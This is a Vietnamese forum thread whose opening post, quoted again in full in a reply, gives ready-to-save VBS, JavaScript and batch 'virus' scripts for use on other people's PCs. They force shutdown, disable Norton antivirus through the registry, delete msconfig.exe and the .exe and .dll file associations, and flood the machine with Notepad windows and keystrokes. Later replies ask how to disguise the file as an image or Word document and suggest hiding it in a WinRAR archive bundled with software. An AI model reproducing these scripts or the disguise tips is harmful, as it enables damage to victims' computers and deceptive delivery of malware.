Follow us on...
Follow us on Twitter Follow us on Facebook Watch us on YouTube

Giúp các bé đáng thương ấy với

Gameshow “Ai Là Triệu Phú” trên VTV đang chờ đón bạn – Tải ngay!

Bán đấu giá ủng hộ từ thiện

Sự kiện công nghệ lớn nhất trong năm của Sony sắp đổ bộ Hà Nội

Chiêm ngưỡng BaoMoi đẹp "tuyệt diệu" trên Windows Phone

Tin tức công nghệ mới
Trang 1/2 1 2 cuốicuối
kết quả từ 1 tới 15 trên 17
  1. #1
    quan95bn's Avatar
    quan95bn vẫn chưa có mặt trong diễn đàn Búa Gỗ
    Tham gia
    Jul 2010
    Đến từ
    Định khủng bố à? Hỏi làm gì?
    Bài
    10
    Cảm ơn
    1
    Điểm
    25/4 bài viết

    Default Tạo 1 con virus đơn giản với công cụ notepad

    Tự làm ấy 1 con VR rất đơn giản ,hôm nay slm sẽ hướng dẫn các bạn.
    Đầu tiên các bạn mở notepad và chọn một trong những đoạn mã sau, các bạn copy đoạn mã vào notepad và lưu dưới đuôi VBS. ví dụ: slm.vbs chảng hạn..

    * mở ra một thông điệp vui sau đó sẽ tắt máy tính
    CODE

    Code:
    @echo off
    msg * em la slm ,bb anh!
    shutdown -c "virus slm" -s -t 10
    Chỉ với Notepad hay Wordpad bạn đã có thể tự tạo cho mình 1 "chú" Virus dưới dạng VBSCRIPT hoặc Javascript rồi:

    Dưới đây là code của một số con virus nhỏ dưới dạng VBS:

    1.Không cho victim khởi động máy:

    Code:

    Code:
    Dim wsh
    Set wsh = createobject("wscript.shell")
    wsh.run "RUNDLL32.EXE user.exe,exitwindows"

    2. Disable NAV:

    Code:

    Code:
    Dim wsh
    Set wsh= CreateObject( "WScript.Shell")
    s1 = " HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic
    es\Norton Program
    Scheduler\Start"
    wsh.RegWrite s1,3, "REG_DWORD"
    3. Hiển thị một message mỗi khi reboot máy:

    Code:

    Code:
    dim wsh
    Set wsh = CreateObject( "WScript.Shell" )
    s1 = " HKLM\Software\Microsoft\Windows\CurrentVersion\Win
    Logon\"
    s2 = "LegalNoticeCaption"
    s3 = "LegalNoticeText"
    wsh.RegWrite s1+s2, "http://allformy.topcities.com"
    wsh.RegWrite s1+s3, "Hi ! Toi la SLM- Toi den tu truongton.net"

    4. Hiển thị một dòng lệnh khi click vào file hay folder:,


    Code:
    Code:
    set reg=createobject("WScript.shell")
    reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","Hi ! Ban da bi nhiem WK tu truongton.net"
    reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hi ! Ban da bi nhiem WK tu truongton.net\","SLM"

    5. Làm cho các trò trên hoạt động bình thường:

    Code:

    Code:
    Dim objShell
    Set objShell = CreateObject( "WScript.Shell" )
    s1 = "HKEY_USERS\. Default\Software\Microsoft\Windows\CurrentVersion\
    "
    s2 = "Policies\System\DisableRegistryTools"
    objShell.RegWrite s1+s2,1, "REG_DWORD"

    Dưới dạng Javascipt :

    Code:

    Code:
    var wsh;
    wsh=new ActiveXObject ("Wscript.shell");


    // Winlogon when reboot


    var s1 = " HKLM\\Software\\Microsoft\\Windows\\CurrentVersion
    \\WinLogon\\";
    var s2 = "LegalNoticeCaption";
    var s3 = "LegalNoticeText";
    wsh.RegWrite (s1+ s2, "http://allformy.topcities.com") ;
    wsh.RegWrite (s1+s3, "Hi ! Toi la Anti_Love. Toi den tu Chip&Kitty.com") ;

    //Disable Registry
    var s1 = "HKEY_USERS\\. Default\\Software\\Microsoft\\Windows\\CurrentVers
    ion\\";
    var s2 = "Policies\\System\\DisableRegistryTools" ;
    wsh.RegWrite (s1+s2,0,"REG_DWORD");

    //Delete file Msconfig.exe
    Code:

    Code:
    var fso;
    fso=new ActiveXObject("Scripting.FileSystemObject");
    var fe=fso.getfile("C:\\windows\\msconfig.exe);
    fe.delete true;


    //Shutdown windows

    //Disable Mouse

    wsh.run ("RUNDLL32.EXE mouse,disable");


    //Hang up windows

    wsh.run ("rundll32 user,disableoemlayer");
    Xóa khóa Registry Files
    * xóa các tập tin registry key, sau đó lặp lại một tin nhắn

    CODE

    Code:
    @ECHO OFF
    START reg delete HKCR/.exe
    START reg delete HKCR/.dll
    START reg delete HKCR/*
    :MESSAGE
    ECHO slm chuc anh 1 ngay vui ve.
    GOTO MESSAGE
    -Endless Notepads
    * Điều này sẽ bật lên Notepads bất tận cho đến khi máy tính bị đóng băng và các vụ đụng *



    CODE

    Code:
    @ECHO off
    :top
    START %SystemRoot%\system32\notepad.exe
    GOTO top
    -Crazy caps lock
    * không ngừng quay caps lock và tắt nhanh chóng liên tục *


    CODE

    Code:
    Set wshShell =wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "{CAPSLOCK}"
    loop

    --Endless ENter
    * Ép enter liên tục

    CODE

    Code:
    Set wshShell = wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "~(enter)"
    loop
    --Endless Backspace
    * làm cho phím backspace liên tục bị ép *

    CODE

    Code:
    MsgBox "Let's go back a few steps"
    Set wshShell =wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "{bs}"
    loop

    * làm cho ổ đĩa CD liên tục vọt ra *

    CODE

    Code:
    Set oWMP = CreateObject("WMPlayer.OCX.7")
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 100
    loop
    Tất cả các code trên lưu với đuôi VBS

    Còn những cái này lưu dưới dạng slm.bat(đuôi .bat)

    Lặp lại n lần chu kỳ mess


    Code:
    @ECHO off
    :Begin
    msg * Hi
    msg * khoe ko anh ?
    msg * em slm ne
    msg * buon ngu chua?
    msg * tat may ngu thoi ,bb anh
    GOTO BEGIN
    Auto shutdown

    Code:
    @echo off
    msg * slm yeu anh
    shutdown -c “Error! tạm biet anh!” -s

    ---Ai không làm đc PM mình sẽ help!!!

  2. Có 3 thành viên cảm ơn quan95bn cho bài viết này:
    bin_loveless (06-01-2013), googlecomvnnet (05-10-2012), sonhahp02 (27-08-2012)

  3. #2
    soupnazy's Avatar
    soupnazy vẫn chưa có mặt trong diễn đàn Rìu Vàng
    Tham gia
    Nov 2009
    Đến từ
    Trên Đất Dười Trời Chứ ở đâu Nữa
    Bài
    866
    Cảm ơn
    537
    Điểm
    249/161 bài viết

    Default

    nếu chẳng may bị dính thì chữa trị ntn hả bạn

  4. #3
    itprokute's Avatar
    itprokute vẫn chưa có mặt trong diễn đàn Rìu Sắt Đôi
    Tham gia
    May 2009
    Đến từ
    Huế
    Bài
    257
    Cảm ơn
    64
    Điểm
    35/26 bài viết

    Default

    mấy cái này mà là virus thì chết liền luôn
    Đứng trên biển mà tựa lưng vào sóng
    Đạp lên gió, mà vươn lên trời cao
    Hận kẻ sĩ không vương vấn cho đời
    Mà sống như lãng tử. kiếp phù du…


  5. #4
    Tham gia
    Dec 2009
    Bài
    8
    Cảm ơn
    0
    Điểm
    0/0 bài viết

    Cool tra loi

    cái này có gì đâu hả bạn nếu mà bạn dùng bất kì trình diệt vỉut nào thì chỉ cần vừa tạo xong là nó xóa luôn...??? cái này mà cũng post lên cũ rùi bạn ơi ...

  6. #5
    master_chelf's Avatar
    master_chelf vẫn chưa có mặt trong diễn đàn Rìu Vàng
    Tham gia
    May 2009
    Bài
    695
    Cảm ơn
    385
    Điểm
    179/123 bài viết

    Default

    máy tính mà bị die vì kon virus này thì chắc là các hãng antivirus thất nghiệp

  7. #6
    NoThing...!!!'s Avatar
    NoThing...!!! vẫn chưa có mặt trong diễn đàn Cống hiến cho [V-Z]
    Tham gia
    Apr 2008
    Đến từ
    ®_Bóng đêm...!!!
    Bài
    5.845
    Cảm ơn
    5.015
    Điểm
    9.147/4.147 bài viết

    Default

    Đọc kĩ đi mấy bác, cái này giúp thực thi file thôi mà
    Cuộc đời là chuỗi dài của những bước chân....và mình không biết bước chân tiếp theo sẽ như thế nào. Cho nên mình hãy có trách nhiệm với mỗi bước chân mà mình đã đi



  8. #7
    Tham gia
    Sep 2011
    Bài
    1
    Cảm ơn
    0
    Điểm
    0/0 bài viết

    Default hj, em muốn tạo 1 con virut mà khi bật khởi động máy sẽ xuất hiện một dòng chữ:" chào bạn" rồi mới nạp vào hệ điều hành thì mình cần những gì ạ

    Trích quan95bn View Post
    Tự làm ấy 1 con VR rất đơn giản ,hôm nay slm sẽ hướng dẫn các bạn.
    Đầu tiên các bạn mở notepad và chọn một trong những đoạn mã sau, các bạn copy đoạn mã vào notepad và lưu dưới đuôi VBS. ví dụ: slm.vbs chảng hạn..

    * mở ra một thông điệp vui sau đó sẽ tắt máy tính
    CODE

    Code:
    @echo off
    msg * em la slm ,bb anh!
    shutdown -c "virus slm" -s -t 10
    Chỉ với Notepad hay Wordpad bạn đã có thể tự tạo cho mình 1 "chú" Virus dưới dạng VBSCRIPT hoặc Javascript rồi:

    Dưới đây là code của một số con virus nhỏ dưới dạng VBS:

    1.Không cho victim khởi động máy:

    Code:

    Code:
    Dim wsh
    Set wsh = createobject("wscript.shell")
    wsh.run "RUNDLL32.EXE user.exe,exitwindows"

    2. Disable NAV:

    Code:

    Code:
    Dim wsh
    Set wsh= CreateObject( "WScript.Shell")
    s1 = " HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic
    es\Norton Program
    Scheduler\Start"
    wsh.RegWrite s1,3, "REG_DWORD"
    3. Hiển thị một message mỗi khi reboot máy:

    Code:

    Code:
    dim wsh
    Set wsh = CreateObject( "WScript.Shell" )
    s1 = " HKLM\Software\Microsoft\Windows\CurrentVersion\Win
    Logon\"
    s2 = "LegalNoticeCaption"
    s3 = "LegalNoticeText"
    wsh.RegWrite s1+s2, "http://allformy.topcities.com"
    wsh.RegWrite s1+s3, "Hi ! Toi la SLM- Toi den tu truongton.net"

    4. Hiển thị một dòng lệnh khi click vào file hay folder:,


    Code:
    Code:
    set reg=createobject("WScript.shell")
    reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","Hi ! Ban da bi nhiem WK tu truongton.net"
    reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hi ! Ban da bi nhiem WK tu truongton.net\","SLM"

    5. Làm cho các trò trên hoạt động bình thường:

    Code:

    Code:
    Dim objShell
    Set objShell = CreateObject( "WScript.Shell" )
    s1 = "HKEY_USERS\. Default\Software\Microsoft\Windows\CurrentVersion\
    "
    s2 = "Policies\System\DisableRegistryTools"
    objShell.RegWrite s1+s2,1, "REG_DWORD"

    Dưới dạng Javascipt :

    Code:

    Code:
    var wsh;
    wsh=new ActiveXObject ("Wscript.shell");


    // Winlogon when reboot


    var s1 = " HKLM\\Software\\Microsoft\\Windows\\CurrentVersion
    \\WinLogon\\";
    var s2 = "LegalNoticeCaption";
    var s3 = "LegalNoticeText";
    wsh.RegWrite (s1+ s2, "http://allformy.topcities.com") ;
    wsh.RegWrite (s1+s3, "Hi ! Toi la Anti_Love. Toi den tu Chip&Kitty.com") ;

    //Disable Registry
    var s1 = "HKEY_USERS\\. Default\\Software\\Microsoft\\Windows\\CurrentVers
    ion\\";
    var s2 = "Policies\\System\\DisableRegistryTools" ;
    wsh.RegWrite (s1+s2,0,"REG_DWORD");

    //Delete file Msconfig.exe
    Code:

    Code:
    var fso;
    fso=new ActiveXObject("Scripting.FileSystemObject");
    var fe=fso.getfile("C:\\windows\\msconfig.exe);
    fe.delete true;


    //Shutdown windows

    //Disable Mouse

    wsh.run ("RUNDLL32.EXE mouse,disable");


    //Hang up windows

    wsh.run ("rundll32 user,disableoemlayer");
    Xóa khóa Registry Files
    * xóa các tập tin registry key, sau đó lặp lại một tin nhắn

    CODE

    Code:
    @ECHO OFF
    START reg delete HKCR/.exe
    START reg delete HKCR/.dll
    START reg delete HKCR/*
    :MESSAGE
    ECHO slm chuc anh 1 ngay vui ve.
    GOTO MESSAGE
    -Endless Notepads
    * Điều này sẽ bật lên Notepads bất tận cho đến khi máy tính bị đóng băng và các vụ đụng *



    CODE

    Code:
    @ECHO off
    :top
    START %SystemRoot%\system32\notepad.exe
    GOTO top
    -Crazy caps lock
    * không ngừng quay caps lock và tắt nhanh chóng liên tục *


    CODE

    Code:
    Set wshShell =wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "{CAPSLOCK}"
    loop

    --Endless ENter
    * Ép enter liên tục

    CODE

    Code:
    Set wshShell = wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "~(enter)"
    loop
    --Endless Backspace
    * làm cho phím backspace liên tục bị ép *

    CODE

    Code:
    MsgBox "Let's go back a few steps"
    Set wshShell =wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "{bs}"
    loop

    * làm cho ổ đĩa CD liên tục vọt ra *

    CODE

    Code:
    Set oWMP = CreateObject("WMPlayer.OCX.7")
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 100
    loop
    Tất cả các code trên lưu với đuôi VBS

    Còn những cái này lưu dưới dạng slm.bat(đuôi .bat)

    Lặp lại n lần chu kỳ mess


    Code:
    @ECHO off
    :Begin
    msg * Hi
    msg * khoe ko anh ?
    msg * em slm ne
    msg * buon ngu chua?
    msg * tat may ngu thoi ,bb anh
    GOTO BEGIN
    Auto shutdown

    Code:
    @echo off
    msg * slm yeu anh
    shutdown -c “Error! tạm biet anh!” -s

    ---Ai không làm đc PM mình sẽ help!!!
    anh có thể chỉ rõ cho em được không

  9. #8
    dungpham01's Avatar
    dungpham01 vẫn chưa có mặt trong diễn đàn Rìu Chiến
    Tham gia
    Sep 2010
    Bài
    1.529
    Cảm ơn
    689
    Điểm
    618/347 bài viết

    Default

    không chỉ cách làm à

  10. #9
    ChuyenvienMT's Avatar
    ChuyenvienMT vẫn chưa có mặt trong diễn đàn Rìu Bạc
    Tham gia
    Aug 2012
    Đến từ
    Cẩm phả - QN
    Bài
    407
    Cảm ơn
    12
    Điểm
    85/72 bài viết

    Default

    Cúng có sáng tạo..mình không click vào notepad thì sao bị .. mà đã gọi là vui thì không gây hại .. mà chỉ khiến người khác tức. dùng cái này chêu người thì hay .. nhưng mà gửi cho ai đó qua yahoo thì khó mà lừa được người ta vì nó ở dạng notepad ai chẳng nghi ngờ

  11. #10
    sonhahp02's Avatar
    sonhahp02 vẫn chưa có mặt trong diễn đàn Rìu Sắt
    Tham gia
    Aug 2010
    Bài
    126
    Cảm ơn
    101
    Điểm
    6/6 bài viết

    Default

    thanks bạn nhé dùng cái này đi trêu nghịch tí

  12. #11
    blackants91's Avatar
    blackants91 vẫn chưa có mặt trong diễn đàn Gà Con
    Tham gia
    Sep 2012
    Đến từ
    TPHCM
    Bài
    4
    Cảm ơn
    0
    Điểm
    0/0 bài viết

    Default

    chu ki cua ban lam sao za, tao 1 top chi moi nguoi với

  13. #12
    Z600's Avatar
    Z600 vẫn chưa có mặt trong diễn đàn Rìu Chiến
    Tham gia
    Dec 2012
    Bài
    1.571
    Cảm ơn
    47
    Điểm
    228/210 bài viết

    Default

    hình như cái này có lâu rồi
    trước kia thử rồi hàu như các av tòm luôn

  14. #13
    motconvoi's Avatar
    motconvoi vẫn chưa có mặt trong diễn đàn Búa Đá
    Tham gia
    May 2009
    Bài
    62
    Cảm ơn
    19
    Điểm
    3/3 bài viết

    Default

    có ai chỉ mình cách đính kèm virus ( như trên ) vào file ảnh hoặc file word với - vì face nó không cho gửi filr *.vbs
    bút đâu mà kí ??????

  15. #14
    thuong@12's Avatar
    thuong@12 vẫn chưa có mặt trong diễn đàn Rìu Bạc Đôi
    Tham gia
    Nov 2010
    Bài
    571
    Cảm ơn
    124
    Điểm
    213/117 bài viết

    Default

    bạn tạo xong rồi add vào winrar cùng 1 phần mềm nào đó thì ai mà để ý chứ
    không có gì để nói

  16. #15
    Nguoi_o_layyy's Avatar
    Nguoi_o_layyy vẫn chưa có mặt trong diễn đàn Rìu Bạc
    Tham gia
    Jun 2012
    Bài
    333
    Cảm ơn
    460
    Điểm
    163/100 bài viết

    Default

    Diệt virus còn không được mà lại đi tạo virus làm gì?
    Thừa giấy vẽ voi à?
    Ký mà không ra tiền

  17. Có 1 thành viên cảm ơn Nguoi_o_layyy cho bài viết này:
    vail_valuabe (15-04-2013)

 

 
Trang 1/2 1 2 cuốicuối

Tag của Đề tài này

Quyền sử dụng

  • Bạn không thể gửi chủ đề mới
  • Bạn không thể gửi trả lời
  • Bạn không thể gửi file đính kèm
  • Bạn không thể tự sửa bài viết của mình
  •